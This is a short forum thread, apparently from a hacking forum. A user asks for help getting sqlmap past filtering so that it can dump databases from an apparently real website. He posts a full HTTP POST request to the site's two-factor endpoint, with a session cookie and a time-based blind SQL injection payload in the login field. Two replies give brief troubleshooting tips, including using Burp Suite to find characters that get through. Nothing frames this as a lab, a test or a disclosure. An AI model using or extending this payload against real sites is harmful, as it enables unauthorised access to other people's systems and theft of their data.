[mehran]

Hi
Can u help to bypass and contunie this sqli with sqlmap ?
Spoiler: POST request
at this moment sqlmap can not dump dbs, and I tried some tamper scripts also

Thanks !

Code

POST /sendtwofactor.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: https://setup.sk/
Cookie: PHPSESSID=961073f8435f8bee3b34b3e6b4ff6c48;lng=en
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari>
Host: setup.sk
Connection: Keep-alive

login=if(now()=sysdate()%2Csleep(6)%2C0)

[SIM-4903657]

The POST request seems to be good, what error are you getting when using SQLMap?

[breseck]

You can try burpsuite to find a combination of characters. Cheers ! :)